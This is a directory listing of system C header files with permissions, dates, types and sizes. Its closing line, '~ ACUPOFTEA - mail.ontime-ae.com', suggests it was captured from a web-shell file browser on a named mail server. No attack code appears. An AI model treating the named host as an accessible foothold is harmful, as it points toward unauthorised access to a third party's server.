-rw-r--r--
2025-08-05 02:01:07
fstrm.h
text/x-tex
12.71 KB
-rw-r--r--
2019-03-11 08:58:34
fts.h
text/x-c
8.18 KB
-rw-r--r--
2025-08-05 02:01:07
ftw.h
text/x-c
5.13 KB
-rw-r--r--
2025-08-05 02:01:07
gconv.h
text/x-c
4.31 KB
-rw-r--r--
2025-08-05 02:00:57
gcrypt.h
text/x-c
68.71 KB
-rw-r--r--
2022-06-28 11:54:07
gd.h
text/x-c
56.42 KB
-rw-r--r--
2017-08-30 11:05:54
gd_color_map.h
text/x-c
478 B
-rw-r--r--
2017-08-30 11:05:54
gd_errors.h
text/plain
1.47 KB
-rw-r--r--
2017-08-30 11:05:54
gd_io.h
text/x-c
3.05 KB
-rw-r--r--
2017-08-30 11:05:54
gdbm.h
text/x-Algol68
10.1 KB
-rw-r--r--
2022-10-08 01:22:07
gdcache.h
text/x-c
2.83 KB
-rw-r--r--
2017-08-30 11:05:54
gdfontg.h
text/x-c
553 B
-rw-r--r--
2017-08-30 11:05:54
gdfontl.h
text/x-c
551 B
-rw-r--r--
2017-08-30 11:05:54
gdfontmb.h
text/x-c
519 B
-rw-r--r--
2017-08-30 11:05:54
gdfonts.h
text/x-c
515 B
-rw-r--r--
2017-08-30 11:05:54
gdfontt.h
text/x-c
546 B
-rw-r--r--
2017-08-30 11:05:54
gdfx.h
text/x-c
497 B
-rw-r--r--
2017-08-30 11:05:54
gdpp.h
text/x-c++
50.94 KB
-rw-r--r--
2017-08-30 11:05:54
getopt.h
text/x-c
1.43 KB
-rw-r--r--
2025-08-05 02:01:07
gettext-po.h
text/x-c
15.17 KB
-rw-r--r--
2019-11-18 05:17:03
glob.h
text/x-c
6.46 KB
-rw-r--r--
2025-08-05 02:01:07
gnu-versions.h
text/plain
2.29 KB
-rw-r--r--
2025-08-05 02:00:57
gnumake.h
text/plain
2.84 KB
-rw-r--r--
2022-04-18 04:38:33
gpg-error.h
text/x-c
66.29 KB
-rw-r--r--
2019-10-12 12:20:46
gpgrt.h
text/x-c
66.29 KB
-rw-r--r--
2019-10-12 12:20:46
grp.h
text/x-c
6.53 KB
-rw-r--r--
2025-08-05 02:01:07
gshadow.h
text/x-c
4.42 KB
-rw-r--r--
2025-08-05 02:01:25
gssapi.h
text/x-c
181 B
-rw-r--r--
2025-06-03 02:06:27
iconv.h
text/x-c
1.81 KB
-rw-r--r--
2025-08-05 02:00:57
idn-free.h
text/x-c
2.41 KB
-rw-r--r--
2019-10-13 04:55:34
idn-int.h
text/x-c
20 B
-rw-r--r--
2019-10-13 04:55:34
idna.h
text/x-c
3.48 KB
-rw-r--r--
2019-10-13 04:55:34
ieee754.h
text/x-c
4.79 KB
-rw-r--r--
2025-08-05 02:01:04
ifaddrs.h
text/x-c
2.77 KB
-rw-r--r--
2025-08-05 02:01:27
inttypes.h
text/x-c
11.61 KB
-rw-r--r--
2025-08-05 02:01:05
jconfig-64.h
text/plain
2.17 KB
-rw-r--r--
2025-05-14 12:43:01
jconfig.h
text/x-c
246 B
-rw-r--r--
2025-05-14 12:43:01
jerror.h
text/plain
14.73 KB
-rw-r--r--
2025-05-14 12:43:01
jmorecfg.h
text/plain
14.7 KB
-rw-r--r--
2025-05-14 12:43:01
jpegint.h
text/x-Algol68
15.22 KB
-rw-r--r--
2025-05-14 12:43:01
jpeglib.h
text/x-c
48.71 KB
-rw-r--r--
2025-05-14 12:43:01
kdb.h
text/x-c
67.66 KB
-rw-r--r--
2025-06-03 02:06:27
keyutils.h
text/x-c
7.52 KB
-rw-r--r--
2021-10-08 01:50:54
krad.h
text/x-c
8.72 KB
-rw-r--r--
2025-06-03 02:06:27
krb5.h
text/x-c
402 B
-rw-r--r--
2025-06-03 02:06:27
langinfo.h
text/x-c
17.43 KB
-rw-r--r--
2025-08-05 02:00:57
lastlog.h
text/x-c
126 B
-rw-r--r--
2025-08-05 02:01:28
libaio.h
text/x-c
8.73 KB
-rw-r--r--
2019-11-13 01:59:49
libgen.h
text/x-c
1.35 KB
-rw-r--r--
2025-08-05 02:01:07
libintl.h
text/x-c
4.47 KB
-rw-r--r--
2025-08-05 02:01:02
libpq-events.h
text/x-c
2.16 KB
-rw-r--r--
2025-02-17 09:17:13
libpq-fe.h
text/x-c
22.79 KB
-rw-r--r--
2025-02-17 09:17:13
limits.h
text/x-c
5.29 KB
-rw-r--r--
2025-08-05 02:00:57
link.h
text/x-c
7.05 KB
-rw-r--r--
2025-08-05 02:01:29
locale.h
text/x-c
7.49 KB
-rw-r--r--
2025-08-05 02:00:57
ltdl.h
text/x-c
5.58 KB
-rw-r--r--
2019-10-11 02:55:29
lzma.h
text/plain
9.59 KB
-rw-r--r--
2018-04-29 03:10:38
malloc.h
text/x-c
5.96 KB
-rw-r--r--
2025-08-05 02:01:06
math.h
text/x-c
52.07 KB
-rw-r--r--
2025-08-05 02:01:04
mcheck.h
text/x-c
2.38 KB
-rw-r--r--
2025-08-05 02:01:06
memory.h
text/x-c
955 B
-rw-r--r--
2025-08-05 02:01:06
menu.h
text/x-c
11.91 KB
-rw-r--r--
2023-10-14 06:54:42
mntent.h
text/x-c
3.28 KB
-rw-r--r--
2025-08-05 02:01:07
monetary.h
text/x-c
1.76 KB
-rw-r--r--
2025-08-05 02:01:05
mqueue.h
text/x-c
3.67 KB
-rw-r--r--
2025-08-05 02:01:26
nc_tparm.h
text/x-c
4.1 KB
-rw-r--r--
2023-10-14 06:54:42
ncurses.h
text/x-c
97.29 KB
-rw-r--r--
2023-10-14 06:54:42
ncurses_dll.h
text/plain
4.18 KB
-rw-r--r--
2023-10-14 06:54:42
ndbm.h
text/x-c
2.4 KB
-rw-r--r--
2022-10-08 01:22:08
netdb.h
text/x-c
27.44 KB
-rw-r--r--
2025-08-05 02:01:27
nl_types.h
text/x-c
1.71 KB
-rw-r--r--
2025-08-05 02:01:02
nss.h
text/x-c
1.83 KB
-rw-r--r--
2025-08-05 02:01:28
obstack.h
text/x-c
20.81 KB
-rw-r--r--
2025-08-05 02:01:06
panel.h
text/x-c
4.03 KB
-rw-r--r--
2023-10-14 06:54:42
paths.h
text/plain
2.91 KB
-rw-r--r--
2025-08-05 02:01:07
pcre.h
text/x-c
30.97 KB
-rw-r--r--
2021-10-08 07:17:42
pcre2.h
text/x-c
43.75 KB
-rw-r--r--
2022-08-02 04:07:28
pcre2posix.h
text/x-c
5.67 KB
-rw-r--r--
2022-08-02 04:07:28
pcre_scanner.h
text/x-c
6.45 KB
-rw-r--r--
2021-10-08 07:17:42
pcre_stringpiece.h
text/x-c
6.16 KB
-rw-r--r--
2021-10-08 07:17:42
pcrecpp.h
text/plain
25.91 KB
-rw-r--r--
2021-10-08 07:17:42
pcrecpparg.h
text/x-c++
6.62 KB
-rw-r--r--
2021-10-08 07:17:42
pcreposix.h
text/x-c
5.32 KB
-rw-r--r--
2021-10-08 07:17:42
pg_config-x86_64.h
text/plain
31.71 KB
-rw-r--r--
2025-02-20 07:58:14
pg_config.h
text/x-c
1.21 KB
-rw-r--r--
2025-02-20 07:58:18
pg_config_ext-x86_64.h
text/plain
323 B
-rw-r--r--
2025-02-20 07:58:14
pg_config_ext.h
text/x-c
1.24 KB
-rw-r--r--
2025-02-20 07:58:18
pg_config_manual.h
text/plain
12.71 KB
-rw-r--r--
2025-02-20 07:57:59
pg_config_os.h
text/plain
1.03 KB
-rw-r--r--
2025-02-17 09:17:13
png.h
text/plain
140.77 KB
-rw-r--r--
2019-10-12 12:44:13
pngconf.h
text/x-c
22.31 KB
-rw-r--r--
2019-10-12 12:44:13
pnglibconf.h
text/plain
7.39 KB
-rw-r--r--
2019-10-12 12:44:13
poll.h
text/x-c
22 B
-rw-r--r--
2025-08-05 02:01:07
postgres_ext.h
text/x-c
2.19 KB
-rw-r--r--
2025-02-17 09:17:13
pr29.h
text/x-c
2.07 KB
-rw-r--r--
2019-10-13 04:55:34
printf.h
text/x-c
6.64 KB
-rw-r--r--
2025-08-05 02:01:05
proc_service.h
text/x-c
3.39 KB
-rw-r--r--
2025-08-05 02:01:27
profile.h
text/x-c
11.87 KB
-rw-r--r--
2025-06-03 02:06:27
pthread.h
text/x-c
40.3 KB
-rw-r--r--
2025-08-05 02:01:06
pty.h
text/x-c
1.53 KB
-rw-r--r--
2025-08-05 02:01:28
punycode.h
text/x-c
9.16 KB
-rw-r--r--
2019-10-13 04:55:34
pwd.h
text/x-c
6.01 KB
-rw-r--r--
2025-08-05 02:01:07
re_comp.h
text/x-c
962 B
-rw-r--r--
2025-08-05 02:01:07
regex.h
text/x-c
24.14 KB
-rw-r--r--
2025-08-05 02:01:07
regexp.h
text/plain
1.41 KB
-rw-r--r--
2025-08-05 02:01:07
resolv.h
text/x-c
11.87 KB
-rw-r--r--
2025-08-05 02:01:27
sched.h
text/x-c
4.62 KB
-rw-r--r--
2025-08-05 02:01:07
search.h
text/x-c
5.1 KB
-rw-r--r--
2025-08-05 02:01:07
semaphore.h
text/x-c
2.34 KB
-rw-r--r--
2025-08-05 02:01:06
setjmp.h
text/x-c
3.58 KB
-rw-r--r--
2025-08-05 02:01:04
sgtty.h
text/x-c
1.31 KB
-rw-r--r--
2025-08-05 02:01:07
shadow.h
text/x-c
5.34 KB
-rw-r--r--
2025-08-05 02:01:25
signal.h
text/x-c
11.96 KB
-rw-r--r--
2025-08-05 02:01:04
spawn.h
text/x-c
6.53 KB
-rw-r--r--
2025-08-05 02:01:07
stab.h
text/x-c
264 B
-rw-r--r--
2025-08-05 02:01:07
stdc-predef.h
text/plain
2.24 KB
-rw-r--r--
2025-08-05 02:00:57
stdint.h
text/x-c
8.27 KB
-rw-r--r--
2025-08-05 02:01:05
stdio.h
text/x-c
29.46 KB
-rw-r--r--
2025-08-05 02:01:05
stdio_ext.h
text/x-c
2.73 KB
-rw-r--r--
2025-08-05 02:01:05
stdlib.h
text/x-c
34.82 KB
-rw-r--r--
2025-08-05 02:01:05
string.h
text/x-c
17.17 KB
-rw-r--r--
2025-08-05 02:01:06
stringprep.h
text/x-c
8.03 KB
-rw-r--r--
2019-10-13 04:55:34
strings.h
text/x-c
4.64 KB
-rw-r--r--
2025-08-05 02:01:06
syscall.h
text/x-c
25 B
-rw-r--r--
2025-08-05 02:01:07
sysexits.h
text/plain
5.11 KB
-rw-r--r--
2025-08-05 02:01:07
syslog.h
text/x-c
24 B
-rw-r--r--
2025-08-05 02:01:07
tar.h
text/x-c
3.7 KB
-rw-r--r--
2025-08-05 02:01:07
term.h
text/x-c
40.22 KB
-rw-r--r--
2023-10-14 06:54:42
term_entry.h
text/x-c
8.55 KB
-rw-r--r--
2023-10-14 06:54:42
termcap.h
text/x-c
3.39 KB
-rw-r--r--
2023-10-14 06:54:42
termio.h
text/x-c
214 B
-rw-r--r--
2025-08-05 02:01:07
termios.h
text/x-c
3.51 KB
-rw-r--r--
2025-08-05 02:01:07
tgmath.h
text/x-c
30.75 KB
-rw-r--r--
2025-08-05 02:01:04
thread_db.h
text/x-c
15.65 KB
-rw-r--r--
2025-08-05 02:01:27
threads.h
text/x-c
6.5 KB
-rw-r--r--
2025-08-05 02:01:06
tic.h
text/x-c
13.32 KB
-rw-r--r--
2023-10-14 06:54:42
tiff.h
text/x-c
35.14 KB
-rw-r--r--
2025-05-07 01:34:34
tiffconf-64.h
text/plain
3.35 KB
-rw-r--r--
2025-05-07 01:34:34
tiffconf.h
text/x-c
250 B
-rw-r--r--
2025-05-07 01:34:35
tiffio.h
text/x-c
22.68 KB
-rw-r--r--
2025-05-07 01:34:34
tiffio.hxx
text/x-c
1.66 KB
-rw-r--r--
2025-05-07 01:34:34
tiffvers.h
text/plain
410 B
-rw-r--r--
2025-05-07 01:34:34
time.h
text/x-c
10.12 KB
-rw-r--r--
2025-08-05 02:01:07
tld.h
text/x-c
4.54 KB
-rw-r--r--
2019-10-13 04:55:34
ttyent.h
text/x-c
2.44 KB
-rw-r--r--
2025-08-05 02:01:07
uchar.h
text/x-c
1.95 KB
-rw-r--r--
2025-08-05 02:01:06
ucontext.h
text/x-c
1.99 KB
-rw-r--r--
2025-08-05 02:01:05
ulimit.h
text/x-c
1.55 KB
-rw-r--r--
2025-08-05 02:01:07
unctrl.h
text/x-c
3.03 KB
-rw-r--r--
2023-10-14 06:54:42
unistd.h
text/x-c
41.74 KB
-rw-r--r--
2025-08-05 02:01:07
utime.h
text/x-c
1.47 KB
-rw-r--r--
2025-08-05 02:01:07
utmp.h
text/x-c
3.15 KB
-rw-r--r--
2025-08-05 02:01:28
utmpx.h
text/x-c
4 KB
-rw-r--r--
2025-08-05 02:01:28
values.h
text/x-c
1.91 KB
-rw-r--r--
2025-08-05 02:00:57
verto-module.h
text/x-c
6.48 KB
-rw-r--r--
2022-10-08 07:49:42
verto.h
text/x-c
18.98 KB
-rw-r--r--
2022-10-08 07:49:42
wait.h
text/x-c
22 B
-rw-r--r--
2025-08-05 02:01:07
wchar.h
text/x-c
30.38 KB
-rw-r--r--
2025-08-05 02:01:06
wctype.h
text/x-c
5.42 KB
-rw-r--r--
2025-08-05 02:01:08
wordexp.h
text/x-c
2.44 KB
-rw-r--r--
2025-08-05 02:01:07
zconf.h
text/plain
15.88 KB
-rw-r--r--
2023-10-11 10:02:25
zlib.h
text/x-c
94 KB
-rw-r--r--
2023-10-11 10:02:25
~ ACUPOFTEA - mail.ontime-ae.com